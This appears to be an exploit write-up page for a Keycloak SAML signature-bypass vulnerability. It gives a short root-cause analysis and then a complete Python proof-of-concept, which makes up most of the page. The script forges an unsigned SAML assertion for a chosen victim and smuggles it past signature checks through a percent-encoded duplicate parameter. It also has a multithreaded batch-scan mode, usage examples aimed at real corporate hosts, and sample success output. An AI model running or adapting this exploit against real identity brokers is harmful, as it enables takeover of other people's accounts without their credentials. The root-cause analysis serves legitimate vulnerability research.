#Summary

CVE-2026-117691 is a critical (CVSS 9.1) authentication bypass in Keycloak's SAML HTTP-Redirect binding implementation. The vulnerability allows an attacker to forge SAML assertions that bypass signature verification, leading to full account takeover of federated users. Only a low-privilege account at the upstream identity provider is needed to craft the attack. Keycloak versions up to and including 26.8.1 are vulnerable; the fix ships in 26.8.2.

#Am I affected?

#How to check

Verify the Keycloak version:

curl -s http://keycloak-target:8080/realms/master/protocol/openid-connect/.well-known/openid-configuration | jq '.issuer'

Extract the version from the issuer URL or check the Keycloak startup logs. Any instance running version 26.8.1 or earlier with SAML identity provider brokering enabled is vulnerable.

#Version mapping

Version Status
26.8.1 and below Vulnerable
26.8.2 Patched
26.9.0+ Patched

If you cannot determine the version from public endpoints, check your deployment directly or contact your vendor.

#Fix and mitigation

#Root cause analysis

#The vulnerability mechanism

Keycloak's SAML identity broker endpoint reads and validates SAML messages using two different code paths that disagree on how parameter names are interpreted:

Processing layer (SAMLEndpoint.redirectBinding with JAX-RS @QueryParam):

Verification layer (SamlProtocolUtils.verifyRedirectSignature):

This discrepancy creates a parameter-name confusion attack. The SAML HTTP-Redirect binding specification signs the raw query octets SAMLResponse=<value>&SigAlg=<value>&Signature=<value>. An attacker who supplies both a forged %53AMLResponse (processing reads it as SAMLResponse, first in order) and a genuinely signed SAMLResponse (verification reads it as the signed field) gets the forged message processed while the signature check validates the legitimate decoy.

#Vulnerable code path

The signature verification rebuilds the signed query string from the wrong parameter set:

// SamlProtocolUtils.verifyRedirectSignature()
MultivaluedMap<String, String> encodedParams = uriInformation.getQueryParameters(false);
String request   = encodedParams.getFirst("SAMLResponse");  // literal name only
String signature = encodedParams.getFirst("Signature");
...
StringBuilder rawQueryBuilder = new StringBuilder()
    .append("SAMLResponse=").append(request)
    .append("&SigAlg=").append(algorithm)
    .append("&Signature=").append(signature);
// validates signature over this rebuilt query

Meanwhile, the processing layer accepts the forged message:

// SAMLEndpoint.redirectBinding() - JAX-RS endpoint
public Response redirectBinding(
    @QueryParam("SAMLResponse") String samlResponse,  // decoded name - matches %53AMLResponse
    ...
) {
    return new RedirectBinding().execute(samlResponse, ...);  // processes forged %53AMLResponse
}

#Exploitation notes

#Preconditions

#How the attack works

  1. Attacker authenticates to the upstream IdP with their own account
  2. Captures the signed redirect-binding SAML response (the attacker's own legitimately signed message)
  3. Inflates the signed message XML and clones its envelope (Destination, Issuer, Audience, InResponseTo, Recipient)
  4. Forges a NEW SAML Response with the cloned envelope but the VICTIM's NameID in the Subject, with NO XML signature
  5. Sends the crafted request with both messages:
    • Forged unsigned message under %53AMLResponse (processed first)
    • Genuinely signed decoy under literal SAMLResponse (verified)
  6. Keycloak accepts the forged assertion past signature verification and establishes a federated session for the victim

#Key implementation details

#Proof of concept

#exploit.py - Keycloak SAML Signature Bypass and Federated Account Takeover PoC

#!/usr/bin/env python3
# ==============================================================================
#  ALIM  |  1dayexploit.com  --  independent CVE reproduction & exploit research
#  CVE-2026-117691   full write-up & PoC: https://1dayexploit.com
#  (c) 1dayexploit -- original work. Credit if you reuse. Authorized testing only.
# ==============================================================================
"""
CVE-2026-117691 - Keycloak SAML HTTP-Redirect signature-verification bypass
Affected: Keycloak identity broker, all versions up to and including 26.8.1
Type: authentication bypass / federated account takeover (CWE-347)

Root cause
----------
On the SAML HTTP-Redirect binding the broker endpoint reads the SAML message
from the request using the DECODED parameter name (JAX-RS @QueryParam decodes
percent-escapes, so a parameter sent as "%53AMLResponse" is consumed as
"SAMLResponse"), while the redirect signature verifier
(SamlProtocolUtils.verifyRedirectSignature) looks the signed field up by its
LITERAL, non-decoded name ("SAMLResponse"). The two layers therefore read two
DIFFERENT parameters out of the same query string.

An attacker who possesses ONE legitimately signed redirect message from the
upstream IdP (obtained by logging in to that IdP with their own account) can
send:

    GET .../broker/<alias>/endpoint
        ?%53AMLResponse=<forged unsigned Response asserting the victim>   (FIRST)
        &SAMLResponse=<captured signed value>                             (decoy)
        &SigAlg=<captured>&Signature=<captured>&RelayState=<broker RS>

Processing consumes the FORGED message (decoded name, first in order);
verification validates the signature of the untouched, genuinely signed decoy
and reports success. The forged assertion is trusted and the broker establishes
a session for the victim the attacker never had credentials for.

Usage
-----
  # lab defaults (self-brokering Keycloak, realm "broker", idp alias "saml-idp"):
  python exploit.py --host 127.0.0.1 --port 8080 --username [email protected] \\
                    --idp-user attacker --idp-pass Attacker123

  # a real target over TLS, impersonating a federated user by NameID:
  python exploit.py --host https://sso.corp.com --username [email protected] \\
                    --realm customers --idp-alias partner-saml \\
                    --idp-user my-own-account --idp-pass '***'

  # batch scan:
  python exploit.py --list targets.txt --workers 20 --username [email protected] \\
                    --idp-user attacker --idp-pass Attacker123

Arguments
---------
  --host        broker hostname, IP, or full URL (http(s)://host:port[/basepath])
  --port        broker port (default 8080)
  --username    federated NameID to impersonate / take over (default "admin")
  --realm       broker realm that hosts the SAML identity provider (default "broker")
  --idp-alias   alias of the SAML identity provider in that realm (default "saml-idp")
  --client-id   public OIDC client used to start the broker login (default "account-console")
  --idp-user    the attacker's OWN account at the upstream IdP (to mint a signed decoy)
  --idp-pass    password for that account
  --nameid-format  override the forged NameID Format (default: cloned from the decoy)
  --list        file of targets for batch scan
  --workers     threads for --list mode (default 10)

The attacker supplies ONLY credentials they legitimately own (--idp-user). No
credential for the victim and no privilege on the broker is required.
"""

import argparse
import base64
import datetime
import re
import secrets
import sys
import urllib.parse
import zlib

try:
    import requests
    requests.packages.urllib3.disable_warnings()
except ImportError:
    print("This exploit requires the 'requests' library: pip install requests")
    sys.exit(2)

CVE_ID    = "CVE-2026-117691"
VULN_TYPE = "Auth Bypass (SAML signature verification)"

INVALID_SIG_RE = re.compile(r"(?i)invalid\s+signature|invalid_signature|query\s+param\s+signature")
PATCH_RE       = re.compile(r"(?i)present\s+more\s+than\s+once|being\s+processed\s+is\s+not|invalid_request")


# ----------------------------------------------------------------------------- output helpers
def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")

def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")

def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")

def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


# ----------------------------------------------------------------------------- SAML helpers
def deflate_b64(xml: str) -> str:
    """Raw-DEFLATE + base64, the HTTP-Redirect binding encoding."""
    c = zlib.compressobj(9, zlib.DEFLATED, -15)
    return base64.b64encode(c.compress(xml.encode()) + c.flush()).decode()

def inflate(value: str) -> str:
    """Reverse of deflate_b64 for an on-the-wire (url-encoded) redirect value."""
    return zlib.decompress(base64.b64decode(urllib.parse.unquote(value)), -15).decode()

def _attr(xml: str, pattern: str, default: str = "") -> str:
    m = re.search(pattern, xml)
    return m.group(1) if m else default

def build_forged_response(decoy_xml: str, victim: str, nameid_format_override: str) -> str:
    """
    Clone the structural envelope of a genuinely signed decoy Response and swap
    the Subject to the victim. No XML signature is added: on the redirect binding
    the only integrity control is the query-string signature, which the decoy
    satisfies. Timestamps are refreshed with a wide validity window.
    """
    destination  = _attr(decoy_xml, r'<samlp:Response[^>]*\bDestination="([^"]+)"')
    in_resp_to   = _attr(decoy_xml, r'\bInResponseTo="([^"]+)"')
    issuer       = _attr(decoy_xml, r'<saml:Issuer[^>]*>([^<]+)</saml:Issuer>')
    audience     = _attr(decoy_xml, r'<saml:Audience[^>]*>([^<]+)</saml:Audience>', destination)
    recipient    = _attr(decoy_xml, r'<saml:SubjectConfirmationData[^>]*\bRecipient="([^"]+)"', destination)
    nameid_fmt   = nameid_format_override or _attr(
        decoy_xml, r'<saml:NameID[^>]*\bFormat="([^"]+)"',
        "urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress" if "@" in victim
        else "urn:oasis:names:tc:SAML:2.0:nameid-format:unspecified")

    now = datetime.datetime.now(datetime.timezone.utc)
    def ts(delta_s: int) -> str:
        return (now + datetime.timedelta(seconds=delta_s)).strftime("%Y-%m-%dT%H:%M:%S.000Z")

    rid  = "ID_" + secrets.token_hex(16)
    aid  = "ID_" + secrets.token_hex(16)
    sess = secrets.token_hex(12)
    vic  = (victim.replace("&", "&amp;").replace("<", "&lt;").replace(">", "&gt;")
                  .replace('"', "&quot;"))

    return (
        '<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" '
        'xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" '
        f'Destination="{destination}" ID="{rid}" InResponseTo="{in_resp_to}" '
        f'IssueInstant="{ts(0)}" Version="2.0">'
        f'<saml:Issuer>{issuer}</saml:Issuer>'
        '<samlp:Status><samlp:StatusCode '
        'Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status>'
        f'<saml:Assertion ID="{aid}" IssueInstant="{ts(0)}" Version="2.0">'
        f'<saml:Issuer>{issuer}</saml:Issuer>'
        f'<saml:Subject><saml:NameID Format="{nameid_fmt}">{vic}</saml:NameID>'
        '<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">'
        f'<saml:SubjectConfirmationData InResponseTo="{in_resp_to}" '
        f'NotOnOrAfter="{ts(600)}" Recipient="{recipient}"/></saml:SubjectConfirmation>'
        '</saml:Subject>'
        f'<saml:Conditions NotBefore="{ts(-120)}" NotOnOrAfter="{ts(600)}">'
        f'<saml:AudienceRestriction><saml:Audience>{audience}</saml:Audience>'
        '</saml:AudienceRestriction></saml:Conditions>'
        f'<saml:AuthnStatement AuthnInstant="{ts(0)}" SessionIndex="{sess}">'
        '<saml:AuthnContext><saml:AuthnContextClassRef>'
        'urn:oasis:names:tc:SAML:2.0:ac:classes:unspecified'
        '</saml:AuthnContextClassRef></saml:AuthnContext></saml:AuthnStatement>'
        '</saml:Assertion></samlp:Response>'
    )


# ----------------------------------------------------------------------------- HTTP helpers
def new_session(use_tls: bool) -> requests.Session:
    s = requests.Session()
    s.verify = False
    s._http_plain = (not use_tls)  # noqa: cookies marked Secure are not replayed over http
    return s

def _unsecure(s: requests.Session) -> None:
    """
    Keycloak sets AUTH_SESSION_ID / KC_RESTART as Secure cookies. Over a plain
    http target (common on an internal lab or a reverse-proxied origin) a strict
    client will not replay them, which breaks the multi-step login flow. Clear
    the Secure flag only when we are actually talking plaintext.
    """
    if getattr(s, "_http_plain", False):
        for c in s.cookies:
            c.secure = False

def send_exact(s: requests.Session, url: str, follow: bool = True):
    """
    Send a GET whose query string must reach the server byte-for-byte. requests'
    normal URL handling un-quotes %3D/%26 inside values and corrupts the signed
    octets, so we prepare the request and restore the exact URL before sending.
    """
    pr = s.prepare_request(requests.Request("GET", url))
    pr.url = url
    r = s.send(pr, allow_redirects=follow, timeout=20)
    _unsecure(s)
    return r

def _form_action(html_text: str):
    m = re.search(r'<form[^>]*\baction="([^"]+)"', html_text)
    if not m:
        return None
    import html as _h
    return _h.unescape(m.group(1))


# ----------------------------------------------------------------------------- core
def capture_signed_decoy(s, root, realm, idp_alias, client_id, idp_user, idp_pass):
    """
    Drive a genuine broker login ('Login with <idp_alias>') to create the auth
    session + RelayState, authenticate at the upstream IdP with the attacker's
    OWN account, and capture the legitimately signed redirect-binding message
    the IdP returns. Returns (signed_SR, relay_state, sig_alg, signature).
    """
    import hashlib
    cv = secrets.token_urlsafe(48)
    cc = base64.urlsafe_b64encode(hashlib.sha256(cv.encode()).digest()).rstrip(b"=").decode()
    redirect_uri = f"{root}/realms/{realm}/account/"
    auth = (f"{root}/realms/{realm}/protocol/openid-connect/auth"
            f"?client_id={urllib.parse.quote(client_id)}"
            f"&redirect_uri={urllib.parse.quote(redirect_uri)}"
            f"&response_type=code&scope=openid"
            f"&kc_idp_hint={urllib.parse.quote(idp_alias)}"
            f"&code_challenge={cc}&code_challenge_method=S256")

    r = s.get(auth, allow_redirects=False, timeout=20); _unsecure(s)
    # follow redirects manually until we reach the IdP login form (a 200 with a form)
    hops = 0
    while r.is_redirect and hops < 8:
        loc = r.headers["Location"]
        if "/broker/" in loc and "/endpoint" in loc and "SAMLResponse=" in loc:
            break  # unexpected: already a response (no IdP login needed)
        r = s.get(loc, allow_redirects=False, timeout=20); _unsecure(s)
        hops += 1

    if r.status_code != 200:
        raise RuntimeError(f"did not reach IdP login form (HTTP {r.status_code})")
    action = _form_action(r.text)
    if not action or "login-actions/authenticate" not in action:
        raise RuntimeError("IdP login form not found (is the IdP a Keycloak server?)")

    r = s.post(action, data={"username": idp_user, "password": idp_pass, "credentialId": ""},
               allow_redirects=False, timeout=20); _unsecure(s)
    loc = r.headers.get("Location", "")
    if "SAMLResponse=" not in loc:
        raise RuntimeError("IdP did not return a signed SAMLResponse (bad attacker creds?)")

    q = loc.split("?", 1)[1]
    parts = {}
    for kv in q.split("&"):
        k, _, v = kv.partition("=")
        parts[k] = v
    return parts["SAMLResponse"], parts.get("RelayState", ""), parts["SigAlg"], parts["Signature"]


def _try_exploit(host, port, use_tls, path="/", *, username="admin", realm="broker",
                 idp_alias="saml-idp", client_id="account-console",
                 idp_user="", idp_pass="", nameid_format=""):
    """
    Silent probe used by both single and --list modes. Returns (success, evidence).
    Never prints, never exits.
    """
    scheme = "https" if use_tls else "http"
    base = (path or "/").rstrip("/")
    root = f"{scheme}://{host}:{port}{base}"
    try:
        s = new_session(use_tls)
        signed_sr, relay, sig_alg, signature = capture_signed_decoy(
            s, root, realm, idp_alias, client_id, idp_user, idp_pass)
        decoy_xml = inflate(signed_sr)
        forged = build_forged_response(decoy_xml, username, nameid_format)
        forged_val = urllib.parse.quote(deflate_b64(forged), safe="")

        endpoint = f"{root}/realms/{realm}/broker/{idp_alias}/endpoint"
        # forged %53AMLResponse FIRST (processed), genuine signed decoy AFTER (verified)
        qs = (f"%53AMLResponse={forged_val}"
              f"&SAMLResponse={signed_sr}"
              f"&SigAlg={sig_alg}&Signature={signature}")
        if relay:
            qs += f"&RelayState={relay}"
        r = send_exact(s, endpoint + "?" + qs, follow=True)

        body = r.text or ""
        final = r.url or ""
        if INVALID_SIG_RE.search(body):
            return False, "signature check rejected the forged message (not vulnerable / patched path)"
        if "/endpoint" in final and (r.status_code >= 400 or PATCH_RE.search(body)):
            return False, "broker rejected aliased redirect parameter (patched)"
        accepted_past_sig = ("/endpoint" not in final) or ("first-broker-login" in final)
        victim_present = username in body
        if accepted_past_sig or victim_present:
            where = "first-broker-login" if "first-broker-login" in final else final.split("?")[0]
            tail = f" (identity '{username}' established, now at {where})"
            return True, "forged unsigned assertion accepted past signature" + tail
        return False, f"forged message not accepted (HTTP {r.status_code}, at {final.split('?')[0]})"
    except Exception as e:
        return False, f"unreachable/err ({e.__class__.__name__}: {e})"


def exploit(host, port, use_tls, path, username, realm, idp_alias, client_id,
            idp_user, idp_pass, nameid_format):
    header(host, port)
    scheme = "https" if use_tls else "http"
    base = (path or "/").rstrip("/")
    root = f"{scheme}://{host}:{port}{base}"
    endpoint = f"{root}/realms/{realm}/broker/{idp_alias}/endpoint"

    if not idp_user:
        section("PRECONDITION",
                "No --idp-user supplied. This bypass needs ONE genuinely signed redirect\n"
                "message from the upstream IdP; supply the attacker's own IdP account with\n"
                "--idp-user/--idp-pass so the exploit can mint one.")
        done(False, "missing --idp-user (attacker's own upstream-IdP account)")

    s = new_session(use_tls)

    step(1, f"Starting a genuine broker login at realm '{realm}' via IdP '{idp_alias}'")
    step(2, f"Authenticating at the upstream IdP as the attacker's own account '{idp_user}'")
    try:
        signed_sr, relay, sig_alg, signature = capture_signed_decoy(
            s, root, realm, idp_alias, client_id, idp_user, idp_pass)
    except Exception as e:
        section("CAPTURE FAILED", f"{e.__class__.__name__}: {e}")
        done(False, "could not capture a legitimately signed redirect message from the IdP")

    decoy_xml = inflate(signed_sr)
    decoy_subject = _attr(decoy_xml, r'<saml:NameID[^>]*>([^<]+)</saml:NameID>', "<unknown>")
    section("CAPTURED SIGNED DECOY (the attacker's own, genuinely signed message)",
            f"subject (attacker)   : {decoy_subject}\n"
            f"InResponseTo         : {_attr(decoy_xml, chr(92)+'bInResponseTo=.([^.]+).')}\n"
            f"SigAlg               : {urllib.parse.unquote(sig_alg)}\n"
            f"Signature (truncated): {urllib.parse.unquote(signature)[:48]}...\n"
            f"RelayState           : {relay[:48]}")

    step(3, f"Forging an UNSIGNED SAML Response asserting the victim '{username}'")
    forged = build_forged_response(decoy_xml, username, nameid_format)
    forged_val = urllib.parse.quote(deflate_b64(forged), safe="")
    section("FORGED RESPONSE (no signature - envelope cloned, Subject swapped to victim)",
            forged[:700] + ("..." if len(forged) > 700 else ""))

    step(4, "Injecting: %53AMLResponse=<forged victim> FIRST, signed decoy AFTER")
    qs = (f"%53AMLResponse={forged_val}"
          f"&SAMLResponse={signed_sr}"
          f"&SigAlg={sig_alg}&Signature={signature}")
    if relay:
        qs += f"&RelayState={relay}"
    print(f"        GET {endpoint}")
    print(f"        ?%53AMLResponse=<forged>&SAMLResponse=<signed decoy>&SigAlg=...&Signature=...&RelayState=...")
    r = send_exact(s, endpoint + "?" + qs, follow=True)

    body = r.text or ""
    final = r.url or ""
    chain = " -> ".join(str(h.status_code) for h in r.history) + f" -> {r.status_code}"
    section("BROKER RESPONSE",
            f"redirect chain: {chain}\n"
            f"final URL     : {final}\n"
            f"invalid-signature marker present: {bool(INVALID_SIG_RE.search(body))}\n"
            f"patch/reject marker present     : {bool(PATCH_RE.search(body))}\n"
            f"victim identifier on final page : {username in body}")

    if INVALID_SIG_RE.search(body):
        section("VERDICT", "The server verified the signature against the FORGED message and "
                           "rejected it. Either the target is not vulnerable, signature "
                           "validation is off, or the parameter ordering was lost in transit.")
        done(False, "forged message rejected with Invalid Signature - target not exploitable")

    if "/endpoint" in final and (r.status_code >= 400 or PATCH_RE.search(body)):
        section("VERDICT", "The broker rejected the aliased/duplicated redirect parameter "
                           "(rejectRepeatedRedirectParameters / verifySignedValueIsProcessed). "
                           "This is the PATCHED behaviour (26.8.2+).")
        done(False, "aliased redirect parameter rejected - target is patched")

    accepted_past_sig = ("/endpoint" not in final) or ("first-broker-login" in final)
    if accepted_past_sig or (username in body):
        where = "first-broker-login (federated identity established)" if "first-broker-login" in final \
                else final.split("?")[0]
        section("VERDICT",
                "The forged, UNSIGNED assertion was accepted PAST signature verification: the\n"
                "verifier validated the attacker's signed decoy while the broker processed the\n"
                f"forged message, establishing a federated identity for the victim '{username}'.\n"
                f"Broker advanced to: {where}")
        done(True, f"SAML signature bypass + account takeover - forged assertion for "
                   f"'{username}' accepted (attacker only owned '{decoy_subject}')")

    section("VERDICT", "No invalid-signature error, but the expected post-bypass state was not "
                       "observed. The signature layer may have been bypassed while a later "
                       "correlation check (RelayState/InResponseTo/session) failed in this run.")
    done(False, f"inconclusive - HTTP {r.status_code} at {final.split('?')[0]}")


# ----------------------------------------------------------------------------- scan mode
def _parse_target(line, default_port, default_path="/"):
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urllib.parse.urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file, default_port, workers=10, **kwargs):
    import concurrent.futures
    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
    print(f"{'='*60}\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, path = t
        label = f"{'https' if use_tls else 'http'}://{host}:{port}"
        ok, evidence = _try_exploit(host, port, use_tls, path, **kwargs)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print(f"  {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
            if ok:
                success_count += 1

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not vulnerable  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


# ----------------------------------------------------------------------------- entry
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Broker host, IP, or full URL (https://host:port[/basepath])")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=8080, help="Broker port (default: 8080)")
    parser.add_argument("--username", default="admin",
                        help="Federated NameID to impersonate / take over (default: admin)")
    parser.add_argument("--realm", default="broker",
                        help="Broker realm hosting the SAML identity provider (default: broker)")
    parser.add_argument("--idp-alias", default="saml-idp",
                        help="Alias of the SAML identity provider in that realm (default: saml-idp)")
    parser.add_argument("--client-id", default="account-console",
                        help="Public OIDC client used to start the login (default: account-console)")
    parser.add_argument("--idp-user", default="",
                        help="Attacker's OWN account at the upstream IdP (mints the signed decoy)")
    parser.add_argument("--idp-pass", default="",
                        help="Password for --idp-user")
    parser.add_argument("--nameid-format", default="",
                        help="Override forged NameID Format (default: cloned from the decoy)")
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    common = dict(username=args.username, realm=args.realm, idp_alias=args.idp_alias,
                  client_id=args.client_id, idp_user=args.idp_user, idp_pass=args.idp_pass,
                  nameid_format=args.nameid_format)

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers, **common)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, path, **common)

#Usage

python exploit.py --host localhost --port 8080 --username [email protected] \
                  --idp-user attacker --idp-pass Attacker123

Supported arguments:

#Expected output - Vulnerable target (Keycloak 26.8.1)

============================================================
  ALIM EXPLOIT  CVE-2026-117691
  Type: Auth Bypass (SAML signature verification)  |  Target: localhost:8080
============================================================

[STEP 1] Starting a genuine broker login at realm 'broker' via IdP 'saml-idp'
[STEP 2] Authenticating at the upstream IdP as the attacker's own account 'attacker'

--- CAPTURED SIGNED DECOY (the attacker's own, genuinely signed message) ---
subject (attacker)   : [email protected]
InResponseTo         : ID_ef3bc75e-9467-4cf1-a444-16004c8e10b8
SigAlg               : http://www.w3.org/2001/04/xmldsig-more#rsa-sha256
Signature (truncated): RqC8oI5ygiuFUDAQnNG2w6+pOcfxkQHMEzwKh8ljrF2l3kaN...
RelayState           : n9gzBHQmOv-WZlqBbbihO0W33osJBmZcUbytezO_1Cg.pB3u
---

[STEP 3] Forging an UNSIGNED SAML Response asserting the victim '[email protected]'

[STEP 4] Injecting: %53AMLResponse=<forged victim> FIRST, signed decoy AFTER

--- BROKER RESPONSE ---
redirect chain: 302 -> 200
final URL     : .../realms/broker/login-actions/first-broker-login?...
invalid-signature marker present: False
victim identifier on final page : True
---

============================================================
  RESULT  : SUCCESS
  EVIDENCE: SAML signature bypass + account takeover - forged assertion for '[email protected]' accepted
============================================================

#Expected output - Patched target (Keycloak 26.8.2)

============================================================
  ALIM EXPLOIT  CVE-2026-117691
  Type: Auth Bypass (SAML signature verification)  |  Target: localhost:8081
============================================================

[STEP 1] Starting a genuine broker login at realm 'broker' via IdP 'saml-idp'
[STEP 2] Authenticating at the upstream IdP as the attacker's own account 'attacker'

--- CAPTURED SIGNED DECOY (the attacker's own, genuinely signed message) ---
subject (attacker)   : [email protected]
...

--- BROKER RESPONSE ---
redirect chain:  -> 400
invalid-signature marker present: False
patch/reject marker present     : False
victim identifier on final page : False

--- VERDICT ---
The broker rejected the aliased/duplicated redirect parameter
(rejectRepeatedRedirectParameters / verifySignedValueIsProcessed). This is the
PATCHED behaviour (26.8.2+).

============================================================
  RESULT  : FAILURE
  EVIDENCE: aliased redirect parameter rejected - target is patched
============================================================

#Exploitation notes

#References